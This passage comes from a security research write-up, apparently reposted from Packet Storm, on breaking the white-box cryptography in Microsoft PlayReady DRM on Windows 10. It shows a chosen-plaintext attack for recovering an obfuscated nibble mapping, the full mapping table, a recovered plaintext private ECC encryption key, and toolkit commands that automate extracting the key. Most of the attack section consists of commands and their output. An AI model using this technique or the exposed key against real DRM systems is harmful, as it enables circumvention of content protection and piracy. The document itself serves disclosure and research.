in a separate way (there are separate bijection subtables for each of the 0x40
nibbles). Finally, the bijection tables were just helper tables (they were not
used directly as a map table).

Sample ECC point precalc tables used in step 3) can be inspected with the use
of the eccpctab command:

wret> eccpctab ..\mspr_toolkit\sniff.blob  
ECCPrecalcTabCmd::run  
[ECC point]  
  0x00000000:  3f a0 a4 df 3a a5 4b 9b 21 19 4e 76 04 c3 49 4c  ?...:.K.!.Nv..IL  
  0x00000010:  6d 56 e6 8a b8 b1 5c 4d 93 83 06 70 95 19 e2 de  mV....\M...p....  
  0x00000020:  65 22 f3 40 37 7e 4a 3e 60 56 ff 46 be 85 37 6e  e".@7~J>`V.F..7n  
  0x00000030:  04 6b 8d af 37 e2 6b f2 fb fd 00 b9 cc cf a8 33  .k..7.k........3  
[precalc point 0]  
  0x00000000:  07 c7 29 6f 15 99 3b b1 bb 9e 44 5a 44 c8 72 0b  ..)o..;...DZD.r.  
  0x00000010:  83 ac 30 a7 f8 13 df c9 9d 03 15 0d 8c d2 bd b9  ..0.............  
  0x00000020:  00 00 00 00 2f 3a 24 6c 63 bc 09 e0 dd b1 73 62  ..../:$lc.....sb  
  0x00000030:  36 6a 4f c6 d9 89 f5 e6 25 38 a4 6d f5 ae 44 80  6jO.....%8.m..D.  
  0x00000040:  17 7a 7a 41 00 00 00 00                          .zzA....

[precalc point 1]  
  0x00000000:  8d b8 f5 93 a7 1c 76 d4 03 5d d8 17 5d 20 1c f7  ......v..]..] ..  
  0x00000010:  ed ab 24 81 af 0f a6 55 b1 03 e9 09 22 34 7f 02  ..$....U...."4..  
  0x00000020:  00 00 00 00 0f 55 4a 1b 46 a6 9d 0e 8c 43 d9 54  .....UJ.F....C.T  
  0x00000030:  3b 50 c9 44 19 d4 95 2b 58 1f 5c 58 13 d5 2e 1f  ;P.D...+X.\X....  
  0x00000040:  3c 8b e5 e2 00 00 00 00                          <.......  
...  

To make things even more obscure, what looked like ECC points weren’t them (or
were not available in a plaintext form):

msprcp> oncurve pcpoint.dat  
ECC point: pcpoint.dat  
  X: 7c7296f15993bb1bb9e445a44c8720b83ac30a7f813dfc99d03150d8cd2bdb9  
  Y: 2f3a246c63bc09e0ddb17362366a4fc6d989f5e62538a46df5ae4480177a7a41  
ERROR: point is not on curve!  

KEY DISCOVERY

At first, we though that dissecting the high level ECC ops (such as add and
multiply) along their use with respect to the encrypted license blob and
precalc point is to reveal details of the crypto algorithm in use and
potentially match is with the ECC decrypt operations such as the one in use
by our code:

 public static ECPoint decrypt(ECPoint encrypted[],BigInteger prv) {  
  ECPoint point1=encrypted[0];  
  ECPoint point2=encrypted[1];

  ECPoint tmp=point1.op_multiply(prv);  
  ECPoint negpoint=tmp.op_neg();  
  ECPoint plaintext=point2.op_add(negpoint);

  return plaintext;  
 }  

But, we started to obtain some nested expressions during the analysis process:

.text:0000000180335C5D                 test    r15d, r15d  
.text:0000000180335C60                 jz      short loc_180335CB6  
.text:0000000180335C62                 lea     rax, [rbp+610h+var_C0] ; OP2( OP( OP2 ( OP(P0), OP(P0) )), OP2( OP( OP2 ( OP(P0), OP(P0) )), OP2( OP(P0), OP2( OP(P0), OP( OP2 ( OP(P0), OP(P0) ))))))  
.text:0000000180335C69                 mov     [rsp+710h+var_6C8], rax  
.text:0000000180335C6E                 lea     r9, unk_1808A56E0  
.text:0000000180335C75                 mov     [rsp+710h+var_6D0], rbx  
.text:0000000180335C7A                 lea     rax, unk_1808A2B10

OP2( OP( OP2 ( OP(P0), OP(P0) )), OP2( OP( OP2 ( OP(P0), OP(P0) )), OP2( OP(P0), OP2( OP(P0), OP( OP2 ( OP(P0), OP(P0) ))))))

change OP(P)    = 2P  
       OP2(P,Q) = P+Q  

This didn’t look like a good / promising approach, it looked quite tedious too.

Instead of diving / analyzing highly obfuscated code, bijections and custom ECC
crypto, we decided to take another approach. The following key observations
were used for that:

  1. a nibble of the “mapped ECC key” tells, which precalc ECC point to use
    as a starting point for license blob processing (ECC decryption),
  2. while the bijection transformation was done separately for each nibble of
    the "mapped ECC key", the output nibble value was always in the range 0-f
  3. discovering plaintext representation of the “mapped ECC key” required
    the knowledge of the nibble mapping.

In order to find the nibble mapping, we decided to do the following:

We generated ECC key with a private key denoted by a constant value set for
all of its nibbles:

msprcp> genfixedkey key_01.pub 0x01

ECC key  
- prv: 1111111111111111111111111111111111111111111111111111111111111111  
- pub:  
  X: 217e617f0b6443928278f96999e69a23a4f2c152bdf6d6cdf66e5b80282d4ed  
  Y: 194a7debcb97712d2dda3ca85aa8765a56f45fc758599652f2897c65306e5794  
stored to key_01.pub  

We then generated a license blob with a special signature / content key
sequence (easy to spot / detect):

msprcp> genzlicense -k key_01.pub -o lic_key_01.blob  
pubkey  
  0000:  02 17 e6 17 f0 b6 44 39 28 27 8f 96 99 9e 69 a2  ......D9('....i.  
  0010:  3a 4f 2c 15 2b df 6d 6c df 66 e5 b8 02 82 d4 ed  :O,.+.ml.f......  
  0020:  19 4a 7d eb cb 97 71 2d 2d da 3c a8 5a a8 76 5a  .J}...q--.<.Z.vZ  
  0030:  56 f4 5f c7 58 59 96 52 f2 89 7c 65 30 6e 57 94  V._.XY.R..|e0nW.  
content key  
  0000:  48 45 4c 4c 4f 20 4d 49 43 52 4f 53 4f 46 54 21  HELLO.MICROSOFT!  
  0010:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  
license  
  0000:  fb 38 63 c4 7d 48 33 83 76 25 a7 32 fe 77 6a 06  .8c.}H3.v%.2.wj.  
  0010:  bf be b7 c2 f2 75 de 6c 8e 04 6a 3e 94 1d bb de  .....u.l..j>....  
  0020:  d6 31 aa ee a8 9b 51 ed e0 8c 26 19 6d bd 51 65  .1....Q...&.m.Qe  
  0030:  ab 1a 3c 57 ba 2a 00 3c fd 67 57 16 46 a6 18 f6  ..<W.*.<.gW.F...  
  0040:  c1 3f 41 85 3e e5 15 b9 59 53 f1 1f 75 e1 0a 07  .?A.>...YS..u...  
  0050:  ec c6 4a 24 6e 48 71 c2 35 af 3e 47 83 7d db c1  ..J$nHq.5.>G.}..  
  0060:  c8 0b 58 0e 88 2e 13 54 b6 50 e1 e5 73 d5 90 de  ..X....T.P..s...  
  0070:  23 e3 94 01 dc 65 3d 11 db 80 63 85 04 2f 2f 03  #....e=...c..//.  
stored to lic_key_01.blob  

In the next step, we setup the bijection tables, so that they implicated the
use of ECC precalc point at given predefined index (0 in our case):

wret> pkdata -k 0x00  
PKDataCmd::run  
setting up bijection for key:  
  0x00000000:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  
  0x00000010:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  

Finally, we tried to decrypt the known license blob with the use of an unknown
private key:

wret> declicense decdata\lic_key_01.blob -k 0C86330B0E98CD7C586F336088DAFA0E.enc.prv  
DecLicenseCmd::run  
DECRYPT LICENSE  
keydata  
0x00000000:  4c 33 c6 8e 0e f1 b6 f1 0c d5 31 6b 40 94 aa 68  [email protected]  
0x00000010:  32 cc 68 1b 00 3b fc 65 8b c4 3c e3 cb 62 de fc  2.h..;.e..<..b..  
0x00000020:  11 ef 51 7b 92 73 a1 84 24 ac 71 33 cf 76 d3 05  ..Q{.s..$.q3.v..  
0x00000030:  44 2d 4e 12 79 3f 3f 09 7a 4e 4d 51 ac 78 a7 3c  D-N.y??.zNMQ.x.<  
0x00000040:  6b                                               k  
license  
0x00000000:  fb 38 63 c4 7d 48 33 83 76 25 a7 32 fe 77 6a 06  .8c.}H3.v%.2.wj.  
0x00000010:  bf be b7 c2 f2 75 de 6c 8e 04 6a 3e 94 1d bb de  .....u.l..j>....  
0x00000020:  d6 31 aa ee a8 9b 51 ed e0 8c 26 19 6d bd 51 65  .1....Q...&.m.Qe  
0x00000030:  ab 1a 3c 57 ba 2a 00 3c fd 67 57 16 46 a6 18 f6  ..<W.*.<.gW.F...  
0x00000040:  c1 3f 41 85 3e e5 15 b9 59 53 f1 1f 75 e1 0a 07  .?A.>...YS..u...  
0x00000050:  ec c6 4a 24 6e 48 71 c2 35 af 3e 47 83 7d db c1  ..J$nHq.5.>G.}..  
0x00000060:  c8 0b 58 0e 88 2e 13 54 b6 50 e1 e5 73 d5 90 de  ..X....T.P..s...  
0x00000070:  23 e3 94 01 dc 65 3d 11 db 80 63 85 04 2f 2f 03  #....e=...c..//.  
target 7ffd3c6528a0  
wb res: 0 call res 0  
output key  
0x00000000:  ef 3e a0 a8 de 88 33 f5 9b f0 89 7b 19 f7 31 92  .>....3....{..1.  
0x00000010:  3a d2 57 2c f8 8b da e3 dd c7 9b e8 16 be 31 85  :.W,..........1.  
signature key  
0x00000000:  48 45 4c 4c 4f 20 4d 49 43 52 4f 53 4f 46 54 21  HELLO MICROSOFT!  
content key  
0x00000000:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  

The decryption worked fine (special signature / content key sequence was
obtained).

The side effect of the above was the knowledge that:

  • value 0x0 of the “mapped ECC key” nibble corresponded to real nibble value
    0x01

The more interesting case to illustrate is for ECC key generated with a private
key denoting nibble value 0x2:

msprcp> genfixedkey key_02.pub 0x02  
ECC key  
- prv: 2222222222222222222222222222222222222222222222222222222222222222  
- pub:  
  X: d65a93977caa3d1b081852ff57a79e465f1660577304baead505dd3a48589cf3  
  Y: 50185e895372df6221ea3a137557e473fddb6755f05bd507c3c533fce9c91285  
stored to key_02.pub  

Again, license blob with a special signature / content key sequence was
generated:

msprcp> genzlicense -k key_02.pub -o lic_key_02.blob  
pubkey  
  0000:  d6 5a 93 97 7c aa 3d 1b 08 18 52 ff 57 a7 9e 46  .Z..|.=...R.W..F  
  0010:  5f 16 60 57 73 04 ba ea d5 05 dd 3a 48 58 9c f3  _..Ws......:HX..  
  0020:  50 18 5e 89 53 72 df 62 21 ea 3a 13 75 57 e4 73  P.^.Sr.b!.:.uW.s  
  0030:  fd db 67 55 f0 5b d5 07 c3 c5 33 fc e9 c9 12 85  ..gU.[....3.....  
content key  
  0000:  48 45 4c 4c 4f 20 4d 49 43 52 4f 53 4f 46 54 21  HELLO.MICROSOFT!  
  0010:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  
license  
  0000:  01 61 c3 d6 9a 09 33 14 7d 11 b9 85 53 7e ca f9  .a....3.}...S...  
  0010:  e2 cf 69 46 d3 08 a8 67 0b 01 66 83 3b 22 34 3c  ..iF...g..f.;"4<  
  0020:  e8 74 56 ad 7e f9 bd 1a 3d 85 6f 4a a7 be 47 2c  .tV.....=.oJ..G,  
  0030:  ae 2d 85 5b 6c 1f 36 8e 36 c1 b4 1d ba 6d 7a 58  .-.[l.6.6....mzX  
  0040:  c4 a1 29 fc 6b 59 28 4a 6e a2 f2 c5 58 13 04 60  ..).kY(Jn...X...  
  0050:  52 b6 b2 f5 72 61 62 90 f3 f9 2b 99 ae d1 6a 40  R...rab...+...j@  
  0060:  e0 48 0e d3 06 f9 c5 16 f7 e9 21 69 93 f1 cc 69  .H........!i...i  
  0070:  d4 f6 25 29 e1 d1 6f 8b de 3a e9 44 ca 6b f3 7b  ..%)..o..:.D.k.{  
stored to lic_key_02.blob  

And an attempt to decrypt the known license blob with the use of an unknown
private key was made starting with a bijection table implicating the use of
ECC precalc point at index 1:

wret> pkdata -k 0x01  
PKDataCmd::run  
setting up bijection for key:  
  0x00000000:  11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11  ................  
  0x00000010:  11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11  ................

wret> declicense decdata\lic_key_02.blob -k 0C86330B0E98CD7C586F336088DAFA0E.enc.prv  
DecLicenseCmd::run  
DECRYPT LICENSE  
keydata  
0x00000000:  4c 33 c6 8e 0e f1 b6 f1 0c d5 31 6b 40 94 aa 68  [email protected]  
0x00000010:  32 cc 68 1b 00 3b fc 65 8b c4 3c e3 cb 62 de fc  2.h..;.e..<..b..  
0x00000020:  11 ef 51 7b 92 73 a1 84 24 ac 71 33 cf 76 d3 05  ..Q{.s..$.q3.v..  
0x00000030:  44 2d 4e 12 79 3f 3f 09 7a 4e 4d 51 ac 78 a7 3c  D-N.y??.zNMQ.x.<  
0x00000040:  6b                                               k  
license  
0x00000000:  01 61 c3 d6 9a 09 33 14 7d 11 b9 85 53 7e ca f9  .a....3.}...S~..  
0x00000010:  e2 cf 69 46 d3 08 a8 67 0b 01 66 83 3b 22 34 3c  ..iF...g..f.;"4<  
0x00000020:  e8 74 56 ad 7e f9 bd 1a 3d 85 6f 4a a7 be 47 2c  .tV.~...=.oJ..G,  
0x00000030:  ae 2d 85 5b 6c 1f 36 8e 36 c1 b4 1d ba 6d 7a 58  .-.[l.6.6....mzX  
0x00000040:  c4 a1 29 fc 6b 59 28 4a 6e a2 f2 c5 58 13 04 60  ..).kY(Jn...X..`  
0x00000050:  52 b6 b2 f5 72 61 62 90 f3 f9 2b 99 ae d1 6a 40  R...rab...+...j@  
0x00000060:  e0 48 0e d3 06 f9 c5 16 f7 e9 21 69 93 f1 cc 69  .H........!i...i  
0x00000070:  d4 f6 25 29 e1 d1 6f 8b de 3a e9 44 ca 6b f3 7b  ..%)..o..:.D.k.{  
target 7ffd3c6528a0  
wb res: 0 call res 0  
output key  
0x00000000:  e3 f4 3b d3 77 18 ec 2f 75 88 94 a4 df 00 06 61  ..;.w../u......a  
0x00000010:  d9 47 af 25 07 90 23 b7 9c 8c 30 fa e3 61 4a 73  .G.%..#...0..aJs  
signature key  
0x00000000:  44 8f d7 37 e6 b0 92 93 ad 2a 52 8c 89 b1 63 d2  D..7.....*R...c.  
content key  
0x00000000:  e3 95 f8 09 ff 1b f9 54 41 4b ab 12 f5 df 7b f6  .......TAK....{.  

This time, the special sequence hasn’t been reveled. This means, that value
0x1 of the “mapped ECC key” nibble did not correspond to real nibble value 0x1.

This should be expected (we found out that real nibble value 0x1 corresponds to
nibble 0x0 present in obfuscated private key).

The tests conducted for bijections set to nibble values 2-d (through pkdata
command) were not successful. But, value 0xe triggered the match:

wret> pkdata -k 0x0e  
PKDataCmd::run  
setting up bijection for key:  
  0x00000000:  ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee  ................  
  0x00000010:  ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee  ................

wret> declicense decdata\lic_key_02.blob -k 0C86330B0E98CD7C586F336088DAFA0E.enc.prv  
DecLicenseCmd::run  
DECRYPT LICENSE  
keydata  
0x00000000:  4c 33 c6 8e 0e f1 b6 f1 0c d5 31 6b 40 94 aa 68  [email protected]  
0x00000010:  32 cc 68 1b 00 3b fc 65 8b c4 3c e3 cb 62 de fc  2.h..;.e..<..b..  
0x00000020:  11 ef 51 7b 92 73 a1 84 24 ac 71 33 cf 76 d3 05  ..Q{.s..$.q3.v..  
0x00000030:  44 2d 4e 12 79 3f 3f 09 7a 4e 4d 51 ac 78 a7 3c  D-N.y??.zNMQ.x.<  
0x00000040:  6b                                               k  
license  
0x00000000:  01 61 c3 d6 9a 09 33 14 7d 11 b9 85 53 7e ca f9  .a....3.}...S~..  
0x00000010:  e2 cf 69 46 d3 08 a8 67 0b 01 66 83 3b 22 34 3c  ..iF...g..f.;"4<  
0x00000020:  e8 74 56 ad 7e f9 bd 1a 3d 85 6f 4a a7 be 47 2c  .tV.~...=.oJ..G,  
0x00000030:  ae 2d 85 5b 6c 1f 36 8e 36 c1 b4 1d ba 6d 7a 58  .-.[l.6.6....mzX  
0x00000040:  c4 a1 29 fc 6b 59 28 4a 6e a2 f2 c5 58 13 04 60  ..).kY(Jn...X..`  
0x00000050:  52 b6 b2 f5 72 61 62 90 f3 f9 2b 99 ae d1 6a 40  R...rab...+...j@  
0x00000060:  e0 48 0e d3 06 f9 c5 16 f7 e9 21 69 93 f1 cc 69  .H........!i...i  
0x00000070:  d4 f6 25 29 e1 d1 6f 8b de 3a e9 44 ca 6b f3 7b  ..%)..o..:.D.k.{  
target 7ffd3c6528a0  
wb res: 0 call res 0  
output key  
0x00000000:  ef 3e a0 a8 de 88 33 f5 9b f0 89 7b 19 f7 31 92  .>....3....{..1.  
0x00000010:  3a d2 57 2c f8 8b da e3 dd c7 9b e8 16 be 31 85  :.W,..........1.  
signature key  
0x00000000:  48 45 4c 4c 4f 20 4d 49 43 52 4f 53 4f 46 54 21  HELLO MICROSOFT!  
content key  
0x00000000:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  

Our knowledge of the nibble mapping could be updated with a new value:

  • “deobfuscated ECC key” nibble 0x0 -> real nibble 0x1
  • “deobfuscated ECC key” nibble 0xe -> real nibble 0x2

The whole process has been repeated for the remaining nibble values. The
following presents the final nibble mapping obtained (Windows 10 OS case):

01 -> 00  
02 -> 0e  
03 -> 0c  
04 -> 07  
05 -> 0b  
06 -> 05  
07 -> 09  
08 -> 06  
09 -> 04  
0a -> 02  
0b -> 0d  
0c -> 03  
0d -> 0a  
0e -> 0f  
0f -> 08  

There is one mapping missing from it for value 0, which is due to the inability
to generate ECC point for a zero private key. It can be easily figured out
though:

00 -> 01 (the remaining / unused value)  

Now, we can replace nibbles of the “mapped ECC key” with real values (run it
through the mapping):

obfuscated ECC key  
0x00000000:  f9 dc f8 b9 5a c4 5e 4e 35 c3 b3 46 4c af d9 8a  ....Z.^N5..FL...  
0x00000010:  1a f5 ed 9e ab ea 5b 5a 8f 49 71 82 70 e7 0d 52  ......[Z.Iq.p..R  
mapped ECC key  
0x00000000:  99 17 ad 43 0c 16 69 a5 12 e3 50 d0 64 0d d2 a5  ...C..i...P.d...  
0x00000010:  75 95 d2 b5 8f 07 58 35 f3 3e df 44 c3 03 db ca  u.....X5.>.D....  
plaintext ECC key  
0x00000000:  77 04 db 9c 13 08 87 d6 0a 2c 61 b1 89 1b ba d6  w........,a.....  
0x00000010:  46 76 ba 56 fe 14 6f c6 ec c2 be 99 3c 1c b5 3d  Fv.V..o.....<..=  

The obtained plaintext value of private ECC encryption key is correct as
indicated by the crypto check:

msprcp> checkkeypair ..\wret_toolkit\0C86330B0E98CD7C586F336088DAFA0E.enc.plain ..\wret_toolkit\0C86330B0E98CD7C586F336088DAFA0E.enc.pub  
KEY CHECK:

- prv: 7704db9c130887d60a2c61b1891bbad64676ba56fe146fc6ecc2be993c1cb53d  
- pub:  
  X: cb276f9f9f764664542319ef9cc7690f9c3be3758bd3782a8d03fba8bf9e1c6d  
  Y: f7101c69942c4d07d9688b610985bbd34ee85820e20cc9bca9a81eb7f659657d  
KEY CHECK OK  

The WRET toolkit makes it possible to automatically find the value of a private
encryption key with the use of the technique depicted above. The following
commands can be issued to accomplish that:

wret> image w10_prlib.dll  
wret> prlib w10_prlib.dll  
wret> wbsetup -r  
wret> xorkey w10  
wret> handler -a prvkeyextractor  
wret> decenckey 0C86330B0E98CD7C586F336088DAFA0E.enc.prv -o 0C86330B0E98CD7C586F336088DAFA0E.enc.plain  
...  
DECRYPT LICENSE  
keydata  
0x00000000:  4c 33 c6 8e 0e f1 b6 f1 0c d5 31 6b 40 94 aa 68  [email protected]  
0x00000010:  32 cc 68 1b 00 3b fc 65 8b c4 3c e3 cb 62 de fc  2.h..;.e..<..b..  
0x00000020:  11 ef 51 7b 92 73 a1 84 24 ac 71 33 cf 76 d3 05  ..Q{.s..$.q3.v..  
0x00000030:  44 2d 4e 12 79 3f 3f 09 7a 4e 4d 51 ac 78 a7 3c  D-N.y??.zNMQ.x.<  
0x00000040:  6b                                               k  
license  
0x00000000:  51 20 b1 9b 2d 44 ff 68 87 6d eb 04 97 24 7f 0f  Q ..-D.h.m...$..  
0x00000010:  36 6c 78 27 fb 78 f6 05 4c 0c a5 11 e5 26 1b f3  6lx'.x..L....&..  
0x00000020:  6c b5 90 63 68 25 d2 5b 7a 34 29 4f e2 ec dd 29  l..ch%.[z4)O...)  
0x00000030:  dc 55 fe 57 ce 4b 23 9f da a0 c9 0c 00 41 95 b4  .U.W.K#......A..  
0x00000040:  08 23 fb c9 91 e1 d6 3e 10 1f 3e 52 81 85 dc 83  .#.....>..>R....  
0x00000050:  c2 17 99 4d 5a 7d 51 bf 03 3c ce 87 9f 01 80 e2  ...MZ}Q..<......  
0x00000060:  9e ef c1 98 ac a6 15 1f 9f 8c dc ee 5e 99 21 27  ............^.!'  
0x00000070:  95 76 de b4 a5 ba 5e d6 ae d7 94 48 8c 73 15 4e  .v....^....H.s.N  
target 7ffd3c6528a0  
PrvKeyExtractor: decsub va 3375b0  
wb res: 0 call res 0  
output key  
0x00000000:  ef 3e a0 a8 de 88 33 f5 9b f0 89 7b 19 f7 31 92  .>....3....{..1.  
0x00000010:  3a d2 57 2c f8 8b da e3 dd c7 9b e8 16 be 31 85  :.W,..........1.  
signature key  
0x00000000:  48 45 4c 4c 4f 20 4d 49 43 52 4f 53 4f 46 54 21  HELLO MICROSOFT!  
content key  
0x00000000:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  
[BIJECTION]  
1 -> 0  
0 -> 1  
a -> 2  
c -> 3  
9 -> 4  
6 -> 5  
8 -> 6  
4 -> 7  
f -> 8  
7 -> 9  
d -> a  
5 -> b  
3 -> c  
b -> d  
2 -> e  
e -> f  
[MAP]  
0 -> 1  
1 -> 0  
2 -> a  
3 -> c  
4 -> 9  
5 -> 6  
6 -> 8  
7 -> 4  
8 -> f  
9 -> 7  
a -> d  
b -> 5  
c -> 3  
d -> b  
e -> 2  
f -> e  
restoring original bijections  
DECRYPT LICENSE  
keydata  
0x00000000:  4c 33 c6 8e 0e f1 b6 f1 0c d5 31 6b 40 94 aa 68  [email protected]  
0x00000010:  32 cc 68 1b 00 3b fc 65 8b c4 3c e3 cb 62 de fc  2.h..;.e..<..b..  
0x00000020:  11 ef 51 7b 92 73 a1 84 24 ac 71 33 cf 76 d3 05  ..Q{.s..$.q3.v..  
0x00000030:  44 2d 4e 12 79 3f 3f 09 7a 4e 4d 51 ac 78 a7 3c  D-N.y??.zNMQ.x.<  
0x00000040:  6b                                               k  
license  
0x00000000:  51 20 b1 9b 2d 44 ff 68 87 6d eb 04 97 24 7f 0f  Q ..-D.h.m...$..  
0x00000010:  36 6c 78 27 fb 78 f6 05 4c 0c a5 11 e5 26 1b f3  6lx'.x..L....&..  
0x00000020:  6c b5 90 63 68 25 d2 5b 7a 34 29 4f e2 ec dd 29  l..ch%.[z4)O...)  
0x00000030:  dc 55 fe 57 ce 4b 23 9f da a0 c9 0c 00 41 95 b4  .U.W.K#......A..  
0x00000040:  08 23 fb c9 91 e1 d6 3e 10 1f 3e 52 81 85 dc 83  .#.....>..>R....  
0x00000050:  c2 17 99 4d 5a 7d 51 bf 03 3c ce 87 9f 01 80 e2  ...MZ}Q..<......  
0x00000060:  9e ef c1 98 ac a6 15 1f 9f 8c dc ee 5e 99 21 27  ............^.!'  
0x00000070:  95 76 de b4 a5 ba 5e d6 ae d7 94 48 8c 73 15 4e  .v....^....H.s.N  
target 7ffd3c6528a0  
PrvKeyExtractor: decsub va 3375b0  
wb res: 0 call res 0  
output key  
0x00000000:  24 18 81 4e 85 b3 05 88 20 26 6e ba d9 cd 3b af  $..N.... &n...;.  
0x00000010:  12 4f 4e 16 6d af 41 de 46 2e 74 0a 0a 17 71 7d  .ON.m.A.F.t...q}  
signature key  
0x00000000:  83 63 6d aa 14 1b 7b 34 f8 84 a8 92 8f 7c 5e 1c  .cm...{4.....|^.  
content key  
0x00000000:  28 9d 19 3a 95 24 9b 3d 9b e9 ef e2 1c a9 40 f8  (..:.$.=......@.  
obfuscated ECC key  
0x00000000:  f9 dc f8 b9 5a c4 5e 4e 35 c3 b3 46 4c af d9 8a  ....Z.^N5..FL...  
0x00000010:  1a f5 ed 9e ab ea 5b 5a 8f 49 71 82 70 e7 0d 52  ......[Z.Iq.p..R  
mapped ECC key  
0x00000000:  99 17 ad 43 0c 16 69 a5 12 e3 50 d0 64 0d d2 a5  ...C..i...P.d...  
0x00000010:  75 95 d2 b5 8f 07 58 35 f3 3e df 44 c3 03 db ca  u.....X5.>.D....  
plaintext ECC key  
0x00000000:  77 04 db 9c 13 08 87 d6 0a 2c 61 b1 89 1b ba d6  w........,a.....  
0x00000010:  46 76 ba 56 fe 14 6f c6 ec c2 be 99 3c 1c b5 3d  Fv.V..o.....<..=  
saving to 0C86330B0E98CD7C586F336088DAFA0E.enc.plain file  

It’s worth to mention that a use of a brute force approach to find out the
nibble mapping would require checking 16! (20922789888000) combinations as
there are 16 possible values for the nibble that are to be mapped (ordered):

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution